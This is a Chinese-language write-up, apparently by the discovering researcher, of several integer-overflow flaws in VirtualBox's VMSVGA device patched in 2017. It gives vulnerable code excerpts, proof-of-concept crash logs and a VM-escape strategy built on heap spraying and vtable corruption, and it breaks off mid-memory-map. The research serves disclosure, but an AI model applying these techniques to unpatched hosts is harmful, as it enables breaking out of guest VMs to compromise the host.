VirtualBox VMSVGA多個虛擬機器逃逸漏洞分析
概述
VirtualBox模擬VMware虛擬SVGA裝置,其介面的詳細資訊和程式設計模型可從網路上公開獲取。另外,在《VMware託管I/O架構上的GPU虛擬化》論文中,對VMware SVGA裝置架構進行了很好的描述。此外,Kostya Kortchinsky釋出的《CLOUDBURST – Vmware Guest到Host逃逸的故事》一文中,詳細介紹瞭如何利用VMware SVGA裝置中的漏洞進行VM逃逸。
Oracle在2015年一月的重要補丁更新中,修復了VMSVGA裝置所存在的一系列問題(CVE-2014-6595、CVE-2014-6588、CVE-2014-6589、CVE-2014-6590、CVE-2015-0427)。在文章《通過硬體模擬攻擊虛擬機器管理程式》中,提供了有關VirtualBox中VMSVGA漏洞的一些細節。
值得注意的是,由於VMSVGA裝置在預設情況下未啟用,所以受影響的使用者可能非常有限。但是,使用者可以根據VBoxManage文件中的說明啟用該功能。
VBoxManage modifyvm VMNAME --graphicscontroller vmsvga
Oracle在2017年7月和2017年10月的重要補丁更新中,修復了VMSVGA漏洞CVE-2017-10210、CVE-2017-10236、CVE-2017-10239、CVE-2017-10240、CVE-2017-10392、CVE-2017-10407和CVE-2017-10408,這些漏洞是由我發現並報告的。另外,來自360 Gear團隊的李強也同時獨立發現了CVE-2017-10210、CVE-2017-10236、CVE-2017-10239和CVE-2017-10240這四個漏洞。在這篇部落格文章中,詳細介紹了其中的一些問題,並演示如何利用這些漏洞實現虛擬機器逃逸。
我們在macOS環境的VirtualBox 5.1.22版本中進行了分析。Linux版本的VirtualBox不支援VMSVGA 3D功能,這一功能僅在Windows和macOS中可用。
vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中驗證validating face[0].numMipLevel過程存在整數溢位漏洞(CVE-2017-10210)
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format, SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount, SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes) { . . . /* cFaces must be 6 for a cubemap and 1 otherwise. */ AssertReturn(cFaces == (uint32_t)((surfaceFlags & SVGA3D_SURFACE_CUBEMAP) ? 6 : 1), VERR_INVALID_PARAMETER); AssertReturn(cMipLevels == cFaces * face[0].numMipLevels, VERR_INVALID_PARAMETER); . . . }
在使用“surfaceflag” SVGA3D_SURFACE_CUBEMAP時,“cFaces”值可以設定為6。然後,可以將“face[0].numMipLevels”設定為cFaces * face[0].numMipLevels wraps的計算結果。“cMipLevels”取決於為SVGA_3D_CMD_SURFACE_DEFINE命令傳遞的SVGA3dSize結構的數量,例如2 == 6 * 0x2aaaaaab。
用於其它多個命令中的face[0].numMipLevels值是導致記憶體損壞的元凶。在CVE-2017-10210的PoC中,使用了SVGA_3D_CMD_SURFACE_DESTROY命令來演示記憶體損壞,最終導致free()無效。
int vmsvga3dSurfaceDestroy(PVGASTATE pThis, uint32_t sid) { . . . if (pSurface->pMipmapLevels) { for (uint32_t face=0; face < pSurface->cFaces; face++) { for (uint32_t i=0; i < pSurface->faces[face].numMipLevels; i++) { uint32_t idx = i + face * pSurface->faces[0].numMipLevels; if (pSurface->pMipmapLevels[idx].pSurfaceData) RTMemFree(pSurface->pMipmapLevels[idx].pSurfaceData); } } RTMemFree(pSurface->pMipmapLevels); } . . . }
<a href="/cdn-cgi/l/email-protection" data-cfemail="a8dacdc6c7dac7cacddadce8ddcaddc6dcdd">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10210$ sudo ./poc [sudo] password for renorobert: poc: [+] Triggering the integer overflow using SVGA_3D_CMD_SURFACE_DEFINE... poc: [+] Triggering the crash using SVGA_3D_CMD_SURFACE_DESTROY...
[lldbinit] process attach --pid 57984 [-] warning: get_frame() failed. Is the target binary started? Process 57984 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10 Target 0: (VirtualBoxVM) stopped. Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM". Architecture set to: x86_64h-apple-macosx. [lldbinit] c Process 57984 resuming -----------------------------------------------------------------------------------------------------------------------[regs] RAX: 0x0000000000000000RBX: 0x000070000E657000RBP: 0x000070000E656CC0RSP: 0x000070000E656C88o d I t s z a P c RDI: 0x000000000000DB0BRSI: 0x0000000000000006RDX: 0x0000000000000000RCX: 0x000070000E656C88RIP: 0x00007FFF5F9B7B66 R8:0x0000000000000000R9:0x0000000000000000R10: 0x0000000000000000R11: 0x0000000000000206R12: 0x000000000000DB0B R13: 0x0000000000000004R14: 0x0000000000000006R15: 0x000000000000002D CS:0007FS: 0000GS: 0000Jump is taken (c = 0) -----------------------------------------------------------------------------------------------------------------------[flow] -----------------------------------------------------------------------------------------------------------------------[code] __pthread_kill @ libsystem_kernel.dylib: 0x7fff5f9b7b66: 73 08jae0x7fff5f9b7b70; <+20> 0x7fff5f9b7b68: 48 89 c7movrdi, rax 0x7fff5f9b7b6b: e9 79 6f ff ffjmp0x7fff5f9aeae9; cerror_nocancel 0x7fff5f9b7b70: c3ret 0x7fff5f9b7b71: 90nop 0x7fff5f9b7b72: 90nop 0x7fff5f9b7b73: 90nop __pthread_markcancel @ libsystem_kernel.dylib: 0x7fff5f9b7b74: b8 4c 01 00 02moveax, 0x200014c ----------------------------------------------------------------------------------------------------------------------------- Process 57984 stopped * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10 Target 0: (VirtualBoxVM) stopped. [lldbinit] bt * thread #21, name = 'VMSVGA FIFO', stop reason = signal SIGABRT * frame #0: 0x00007fff5f9b7b66 libsystem_kernel.dylib`__pthread_kill + 10 frame #1: 0x00007fff5fb82080 libsystem_pthread.dylib`pthread_kill + 333 frame #2: 0x00007fff5f9131ae libsystem_c.dylib`abort + 127 frame #3: 0x00007fff5fa11822 libsystem_malloc.dylib`free + 521 frame #4: 0x000000010efbbad1 VBoxDD.dylib`___lldb_unnamed_symbol1176$$VBoxDD.dylib + 305 frame #5: 0x000000010efb9932 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3682 frame #6: 0x00000001053d1683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115 frame #7: 0x00000001032db6dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44 frame #8: 0x0000000103360222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194 frame #9: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340 frame #10: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377 frame #11: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13 [lldbinit]
vmsvga3dSurfaceDefine(DevVGA-SVGA3d.cpp)中未驗證paMipLevelSizes導致整數溢位漏洞(CVE-2017-10236)
/* Allocate buffer to hold the surface data until we can move it into a D3D object */ for (uint32_t i = 0; i < cMipLevels; ++i) { PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i]; . . . pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width; pMipmapLevel->cbSurface= pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth; pMipmapLevel->pSurfaceData= RTMemAllocZ(pMipmapLevel->cbSurface); AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY); }
在這裡,由於“paMipLevelSizes”值完全由Guest控制,因此“cbSurfacePitch”和“cbSurface”的計算可能會產生溢位。由於“cbSurface”的計算存在問題,進一步導致RTMemAllocZ最終分配的緩衝區大小比實際需要的要少。在其他SVGA命令中使用“pSurfaceData”期間,可能會發生越界讀/寫的情況。針對該漏洞提供的PoC僅演示了無效分配,可以在偵錯程式中觀察到這一點,不會觸發任何崩潰。但是,這一漏洞隨後將會在完整的VM逃逸漏洞利用中使用到。
vmsvga3dSurfaceDMA(DevVGA-SVGA3d.cpp)中多個整數溢位漏洞(CVE-2017-10240和CVE-2017-10408)
int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer, uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes) { . . . for (unsigned i = 0; i < cCopyBoxes; i++) { . . . if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width) paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x; if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height) paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y; if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth) paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z; if (!paBoxes[i].w ||!paBoxes[i].h ||!paBoxes[i].d ||paBoxes[i].x > pMipLevel->size.width ||paBoxes[i].y > pMipLevel->size.height ||paBoxes[i].z > pMipLevel->size.depth) { . . . continue; } uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch; AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR); . . . }
在這一漏洞中,首先對於“pMipLevel”的“paBoxes”驗證可能會發生溢位,從而導致繞過問題。由於整數溢位,因此也可以繞過針對“pMipLevel-> cbSurface”的“uDestOffset”驗證。我們在多個位置都發現了類似的程式碼模式。“uDestOffset”用於在呼叫vmsvgaGMRTransfer期間計算“pBufferStart”引數,所以驗證失效將導致SVGA3dTransferType – SVGA3D_WRITE_HOST_VRAM或SVGA3D_READ_HOST_VRAM的值所對應位置發生越界讀取或越界寫入。該漏洞的PoC將訪問記憶體中pMipLevel->pSurfaceData偏移約4GB的位置,從而導致崩潰。可以通過堆噴射並分配可訪問記憶體區域的方法來利用這一漏洞。
<a href="/cdn-cgi/l/email-protection" data-cfemail="d6a4b3b8b9a4b9b4b3a4a296a3b4a3b8a2a3">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ make gcc -Wall -ggdb -std=gnu99 -o poc svga.c poc.c -lpciaccess <a href="/cdn-cgi/l/email-protection" data-cfemail="384a5d56574a575a5d4a4c784d5a4d564c4d">[email protected]</a>:~/virtualbox-vmsvga-bugs/CVE-2017-10240+10408$ sudo ./poc [sudo] password for renorobert:
[lldbinit] process attach --pid 14518 [-] warning: get_frame() failed. Is the target binary started? Process 14518 stopped * thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP frame #0: 0x00007fff5f9ae20a libsystem_kernel.dylib`mach_msg_trap + 10 Target 0: (VirtualBoxVM) stopped. Executable module set to "/Applications/VirtualBox.app/Contents/Resources/VirtualBoxVM.app/Contents/MacOS/VirtualBoxVM". Architecture set to: x86_64h-apple-macosx. [lldbinit] c Process 14518 resuming -----------------------------------------------------------------------------------------------------------------------[regs] RAX: 0x00007F976656CEB8RBX: 0x0000000111C1C000RBP: 0x00007000066CAC10RSP: 0x00007000066CAC10o d I t s Z a P c RDI: 0x00007F976656CEB8RSI: 0x0000000111C1C000RDX: 0x0000000000000000RCX: 0x4141414141414141RIP: 0x00007FFF5FB78FD0 R8:0x4141414141414141R9:0x0000000000000000R10: 0x00000000FFFFFFFER11: 0x00007F9654950EB8R12: 0x0000000000000000 R13: 0x0000000000000001R14: 0x00007F976656CEB8R15: 0x0000000000000001 CS:002BFS: 0000GS: 0000 -----------------------------------------------------------------------------------------------------------------------[flow] -----------------------------------------------------------------------------------------------------------------------[code] _platform_memmove$VARIANT$Haswell @ libsystem_platform.dylib: 0x7fff5fb78fd0: 48 89 0fmovqword ptr [rdi], rcx 0x7fff5fb78fd3: 4c 89 04 17movqword ptr [rdi + rdx], r8 0x7fff5fb78fd7: 5dpoprbp 0x7fff5fb78fd8: c3ret 0x7fff5fb78fd9: 48 83 c2 08addrdx, 0x8 0x7fff5fb78fdd: 74 25je0x7fff5fb79004; <+228> 0x7fff5fb78fdf: 4d 31 c0xorr8, r8 0x7fff5fb78fe2: 42 8a 0c 06movcl, byte ptr [rsi + r8] ----------------------------------------------------------------------------------------------------------------------------- Process 14518 stopped * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8) frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176 Target 0: (VirtualBoxVM) stopped. [lldbinit] vmmap -a 0x00007F976656CEB8 [lldbinit] bt * thread #21, name = 'VMSVGA FIFO', stop reason = EXC_BAD_ACCESS (code=1, address=0x7f976656ceb8) * frame #0: 0x00007fff5fb78fd0 libsystem_platform.dylib`_platform_memmove$VARIANT$Haswell + 176 frame #1: 0x0000000110e1a6bf VBoxDD.dylib`___lldb_unnamed_symbol1154$$VBoxDD.dylib + 671 frame #2: 0x0000000110e2207d VBoxDD.dylib`___lldb_unnamed_symbol1178$$VBoxDD.dylib + 861 frame #3: 0x0000000110e1fa09 VBoxDD.dylib`___lldb_unnamed_symbol1168$$VBoxDD.dylib + 3897 frame #4: 0x0000000107a17683 VBoxVMM.dylib`___lldb_unnamed_symbol649$$VBoxVMM.dylib + 115 frame #5: 0x00000001059216dc VBoxRT.dylib`___lldb_unnamed_symbol661$$VBoxRT.dylib + 44 frame #6: 0x00000001059a6222 VBoxRT.dylib`___lldb_unnamed_symbol1110$$VBoxRT.dylib + 194 frame #7: 0x00007fff5fb7f661 libsystem_pthread.dylib`_pthread_body + 340 frame #8: 0x00007fff5fb7f50d libsystem_pthread.dylib`_pthread_start + 377 frame #9: 0x00007fff5fb7ebf9 libsystem_pthread.dylib`thread_start + 13 [lldbinit]
vmsvgaGMRTransfer(DevVGA-SVGA.cpp)整數溢位漏洞(CVE-2017-10407)
int vmsvgaGMRTransfer(PVGASTATE pThis, const SVGA3dTransferType enmTransferType, uint8_t *pbDst, int32_t cbDestPitch, SVGAGuestPtr src, uint32_t offSrc, int32_t cbSrcPitch, uint32_t cbWidth, uint32_t cHeight) { . . . AssertMsgReturn(offSrc + cbSrcPitch * (cHeight - 1) + cbWidth <= pThis->vram_size, ("src.offset=%#x offSrc=%#x cbSrcPitch=%#x cHeight=%#x cbWidth=%#x vram_size=%#x\n", src.offset, offSrc, cbSrcPitch, cHeight, cbWidth, pThis->vram_size), VERR_INVALID_PARAMETER); uint8_t *pSrc= pThis->CTX_SUFF(vram_ptr) + offSrc; . . . }
其中,“offSrc”驗證可能會發生溢位,並且可以繞過對“vram_size”的檢查,這將會導致與VRAM相關的越界讀取或越界寫入。vmsvgaGMRTransfer可以由多個SVGA命令使用,例如SVGA_CMD_BLIT_GMRFB_TO_SCREEN、SVGA_3D_CMD_SURFACE_DMA、SVGA_3D_CMD_BLIT_SURFACE_TO_SCREEN等。
在SVGA_CMD_BLIT_GMRFB_TO_SCREEN中,針對vram_size驗證“offsetDest”。因此,寫入的位置只能從VRAM緩衝區內開始。但是,“offsetSource”最終可以在受控制的偏移量處指向超出VRAM緩衝區的位置,從而可靠地提供資訊洩露漏洞。
case SVGA_CMD_BLIT_GMRFB_TO_SCREEN: { . . . unsigned offsetSource = (pCmd->srcOrigin.x * pSVGAState->GMRFB.format.s.bitsPerPixel) / 8 + pSVGAState->GMRFB.bytesPerLine * pCmd->srcOrigin.y; unsigned offsetDest= (pCmd->destRect.left * RT_ALIGN(pThis->svga.uBpp, 8)) / 8 + pThis->svga.cbScanline * pCmd->destRect.top; unsigned cbCopyWidth= (width * RT_ALIGN(pThis->svga.uBpp, 8)) / 8; AssertBreak(offsetDest < pThis->vram_size); rc = vmsvgaGMRTransfer(pThis, SVGA3D_WRITE_HOST_VRAM, pThis->CTX_SUFF(vram_ptr) + offsetDest, pThis->svga.cbScanline, pSVGAState->GMRFB.ptr, offsetSource, pSVGAState->GMRFB.bytesPerLine, cbCopyWidth, height);
該漏洞提供的PoC使用SVGA_CMD_BLIT_GMRFB_TO_SCREEN和SVGA_3D_CMD_SURFACE_DMA演示了相對於VRAM的OOB訪問。
漏洞利用
在上述的多個漏洞中,提供了許多組合和原語。我選擇使用vmsvga3dSurfaceDefine和vmsvga3dSurfaceDMA中的漏洞來演示完整的VM逃逸:
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format, SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount, SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes) { . . . /* Allocate buffer to hold the surface data until we can move it into a D3D object */ for (uint32_t i = 0; i < cMipLevels; ++i) { PVMSVGA3DMIPMAPLEVEL pMipmapLevel = &pSurface->pMipmapLevels[i]; . . . pMipmapLevel->cbSurfacePitch = pSurface->cbBlock * pMipmapLevel->size.width; pMipmapLevel->cbSurface= pMipmapLevel->cbSurfacePitch * pMipmapLevel->size.height * pMipmapLevel->size.depth; pMipmapLevel->pSurfaceData= RTMemAllocZ(pMipmapLevel->cbSurface); AssertReturn(pMipmapLevel->pSurfaceData, VERR_NO_MEMORY); } . . . }
vmsvga3dSurfaceDefine()中存在的漏洞,允許為pMipmapLevel->size.width、pMipmapLevel->size.height和pMipmapLevel->size.depth設定非常大的值,但最終只需要分配所需大小的堆塊。這一點對於進一步利用vmsvga3dSurfaceDMA()中的整數溢位漏洞來說非常有幫助。
int vmsvga3dSurfaceDMA(PVGASTATE pThis, SVGA3dGuestImage guest, SVGA3dSurfaceImageId host, SVGA3dTransferType transfer, uint32_t cCopyBoxes, SVGA3dCopyBox *paBoxes) { . . . for (unsigned i = 0; i < cCopyBoxes; i++) { . . . /* Apparently we're supposed to clip it (gmr test sample) */ if (paBoxes[i].x + paBoxes[i].w > pMipLevel->size.width) paBoxes[i].w = pMipLevel->size.width - paBoxes[i].x; if (paBoxes[i].y + paBoxes[i].h > pMipLevel->size.height) paBoxes[i].h = pMipLevel->size.height - paBoxes[i].y; if (paBoxes[i].z + paBoxes[i].d > pMipLevel->size.depth) paBoxes[i].d = pMipLevel->size.depth - paBoxes[i].z; if (!paBoxes[i].w ||!paBoxes[i].h ||!paBoxes[i].d ||paBoxes[i].x > pMipLevel->size.width ||paBoxes[i].y > pMipLevel->size.height ||paBoxes[i].z > pMipLevel->size.depth) { . . . continue; } . . . uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch; AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR); . . . rc = vmsvgaGMRTransfer(pThis, transfer, . . . paBoxes[i].w * pSurface->cbBlock, paBoxes[i].d * paBoxes[i].h); . . . }
由於pMipLevel的寬度、高度和深度在vmsvga3dSurfaceDefine()中被設定為非常大的值,因此可以繞過涉及paBoxes的第一次檢查。後續,這些值將用於計算“uDestOffset”,可以設定為任意值。
uDestOffset = paBoxes[i].x * pSurface->cbBlock + paBoxes[i].y * pMipLevel->cbSurfacePitch + paBoxes[i].z * pMipLevel->size.height * pMipLevel->cbSurfacePitch;
但是,其後有一個驗證:
AssertReturn(uDestOffset + paBoxes[i].w * pSurface->cbBlock * paBoxes[i].h * paBoxes[i].d <= pMipLevel->cbSurface, VERR_INTERNAL_ERROR);
舉例來說:
uDestOffset + ((paBoxes[i].w * pSurface->cbBlock) * (paBoxes[i].h * paBoxes[i].d)) <= pMipLevel->cbSurface
在這裡,可以將較高值設定為uDestOffset或(paBoxes[i].w * pSurface->cbBlock)或(paBoxes[i].h * paBoxes[i].d)來繞過驗證。在vmsvgaGMRTransfer()中,(paBoxes[i].w * pSurface->cbBlock)和(paBoxes[i].h * paBoxes[i].d)用於計算memcpy()呼叫的大小引數。為了使大小調整為一個合理的值,我們將uDestOffset設定為一個較大的值,從而允許讀取/寫入一個距離表面分配約4GB的偏移量。
為了利用這個漏洞,有兩個問題需要解決:
1、從表面分配偏移約4GB的記憶體;
2、在這個巨大偏移量的分配記憶體中,應該存在指標損壞,從而導致程式碼執行。
在macOS中,共有三種類型的分配: Tiny、Small和Large。Tiny堆分配的地址範圍是0x00007fxxxxx00000,而Large分配則佔用另一個地址範圍0x00000001xxxxx000。上述二者堆分配中的任何一個都能夠進行漏洞利用。
我選擇的是Tiny型別堆分配,主要因為,我知道Tiny型別的分配中具有指向vtable和其他記憶體分配的指標,而這樣的指標可能會由於程式碼執行而被破壞。但是,使用Tiny型別的分配來噴射(Spray)整個4GB記憶體是一個非常緩慢的過程。macOS支援最大127KB的Small分配。因此,我們的思路是儘可能多地分配Small塊,以加快堆噴射的進度,並減少Tiny塊堆噴射的數量。
分配Tiny塊
對於Tiny塊,我將目標放在針對HGCM(Host-Guest通訊管理器)執行的分配上。關於HGCM的詳細資訊,可以參考: ofollow,noindex" target="_blank">https://github.com/phoenhex/files/blob/master/slides/thinking_outside_the_virtualbox.pdf
針對這個漏洞,我習慣使用HGCM連線物件,然後進行噴射。要對HGCM連線進行初始化,需要使用VMM虛擬PCI裝置進行。裝置的BAR0儲存用於HGCM通訊的I/O埠地址。無論何時啟動HGCM連線,都會在記憶體中分配大小為72位元組的HGCMClient物件,並返回客戶端ID。下面是HGCMClient物件的示例:
typedef struct _AVLULNodeCore { AVLULKEYKey;/** Key value. */ struct _AVLULNodeCore*pLeft;/** Pointer to left leaf node. */ struct _AVLULNodeCore*pRight;/** Pointer to right leaf node. */ unsigned charuchHeight;/** Height of this tree: max(height(left), height(right)) + 1 */ } AVLULNODECORE, *PAVLULNODECORE, **PPAVLULNODECORE; typedef struct _ObjectAVLCore { AVLULNODECORE AvlCore; void *pSelf;// type HGCMObject } ObjectAVLCore; struct HGCMClient { void *vptr_HGCMObject; uint32_t m_cRefs; uint32_t m_enmObjType;// HGCMOBJ_TYPE enum ObjectAVLCore m_core; void *pService;// type HGCMService void *pvData; uint64_t padding; } HGCMClient;
HGCMClient的建立和分配由src/VBox/Main/src-client/HGCM.cpp中的HGCMService::CreateAndConnectClient來完成。這些客戶端物件使用AVL樹進行維護,其中的節點包含客戶端ID,並且還包含指向物件本身的指標。在漏洞利用期間,我們需要避免破壞AVL樹的元資料,以防止在查詢或插入AVL樹節點期間發生任何崩潰。此外,我們可能會損壞HGCMClient的vtable,以獲得RIP控制。
HGCMClient物件的刪除發生在HGCM斷開連線期間,由HGCMService::DisconnectClient進行處理,其中使用到了損壞的vtable。
int HGCMService::DisconnectClient(uint32_t u32ClientId, bool fFromService) { . . . HGCMMsgSvcDisconnect *pMsg = (HGCMMsgSvcDisconnect *)hgcmObjReference(hMsg, HGCMOBJ_MSG); AssertRelease(pMsg); pMsg->u32ClientId = u32ClientId; hgcmObjDereference(pMsg);// use of corrupted vtable on deletion . . . }
分配Small塊
為了能更高效地填充4GB,與Tiny塊相比,Small塊顯然是更好的選擇。SVGA_3D_CMD_SURFACE_DEFINE命令可用於分配任意大小的塊。
int vmsvga3dSurfaceDefine(PVGASTATE pThis, uint32_t sid, uint32_t surfaceFlags, SVGA3dSurfaceFormat format, SVGA3dSurfaceFace face[SVGA3D_MAX_SURFACE_FACES], uint32_t multisampleCount, SVGA3dTextureFilter autogenFilter, uint32_t cMipLevels, SVGA3dSize *paMipLevelSizes) { . . . AssertReturn(sid < SVGA3D_MAX_SURFACE_IDS, VERR_INVALID_PARAMETER); . . . pSurface = pState->papSurfaces[sid]; /* If one already exists with this id, then destroy it now. */ if (pSurface->id != SVGA3D_INVALID_ID) vmsvga3dSurfaceDestroy(pThis, sid); . . . }
vmsvga3dSurfaceDefine()允許最多SVGA3D_MAX_SURFACE_IDS (32 * 1024)個唯一的表面分配。針對大小為127KB的表面,這樣的限制足以讓我們填充約4GB。由於頁是分配給堆的較低地址,因此最開始需要分配HGCMClient物件,然後才是表面分配。在進行堆噴射後,記憶體佈局如下圖所示:
噴射前的記憶體佈局
Stack00007000060c1000-0000700006143000thread 29 MALLOC_TINY00007ff16b400000-00007ff16b500000 [ 1024K684K684K316K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16b500000-00007ff16b700000 [ 2048K792K792K1256K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16b700000-00007ff16b800000 [ 1024K840K840K184K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff16b800000-00007ff16c06d000 [ 8628K1332K1332K2160K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty)00007ff16c06d000-00007ff16c06e000 [4K4K4K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff16c06e000-00007ff16d800000 [ 23.6M2600K2600K4288K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16d800000-00007ff16d900000 [ 1024K484K484K540K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16d900000-00007ff16da00000 [ 1024K364K364K660K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff16da00000-00007ff16dc00000 [ 2048K20K20K12K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_TINY00007ff16dc00000-00007ff16de00000 [ 2048K20K20K24K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY (empty)00007ff16de00000-00007ff16df00000 [ 1024K8K8K8K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY00007ff16df00000-00007ff16e000000 [ 1024K448K448K492K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL (empty)00007ff16e000000-00007ff16e800000 [ 8192K4K4K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_SMALL00007ff16e800000-00007ff16f000000 [ 8192K8K8K240K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_SMALL (empty)00007ff16f000000-00007ff170000000 [ 16.0M8K8K172K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY (empty)00007ff170000000-00007ff170100000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_TINY00007ff170100000-00007ff170200000 [ 1024K368K368K60K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY (empty)00007ff170200000-00007ff170300000 [ 1024K8K8K4K] rw-/rwx SM=COWQuartzCore_0x10cc46000 MALLOC_TINY00007ff170300000-00007ff170400000 [ 1024K4K4K20K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_TINY00007ff170400000-00007ff170600000 [ 2048K84K84K948K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff170800000-00007ff171000000 [ 8192K4K4K96K] rw-/rwx SM=COWGFXMallocZone_0x107072000 MALLOC_SMALL00007ff171000000-00007ff171800000 [ 8192K4K4K8K] rw-/rwx SM=COWQuartzCore_0x10cc46000 STACK GUARD00007ffee50b0000-00007ffee88b0000 [ 56.0M0K0K0K] ---/rwx SM=NULstack guard for thread 0
噴射後的記憶體佈局
Stack000070000624a000-00007000062cc000 [520K12K12K0K] rw-/rwx SM=PRVthread 35 MALLOC_SMALL00007ff06b800000-00007ff079800000 [224.0M 209.3M 209.3M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff07b800000-00007ff08b000000 [248.0M 243.4M 243.4M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff08b400000-00007ff08b500000 [ 1024K244K244K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff08b800000-00007ff0c2800000 [880.0M 863.7M 863.7M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff0c2800000-00007ff0c3000000 [ 8192K8032K8032K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff0c3000000-00007ff0ec800000 [664.0M 532.9M 532.9M 118.8M] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff0ec800000-00007ff0ed000000 [ 8192K8032K8032K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff0ed000000-00007ff0fb000000 [224.0M 217.3M 217.3M2588K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff0fb400000-00007ff0fb500000 [ 1024K184K184K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff0fb800000-00007ff12b000000 [760.0M 745.9M 745.9M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_TINY00007ff12b400000-00007ff12b500000 [ 1024K936K936K4K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff12b800000-00007ff139000000 [216.0M 212.0M 212.0M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff139000000-00007ff139800000 [ 8192K8032K8032K0K] rw-/rwx SM=PRVDefaultMallocZone_0x106b7d000 MALLOC_SMALL00007ff139800000-00007ff13b000000 [ 24.0M23.6M23.6M0K] rw-/rwx SM=COWDefaultMallocZone_0x106b7d000 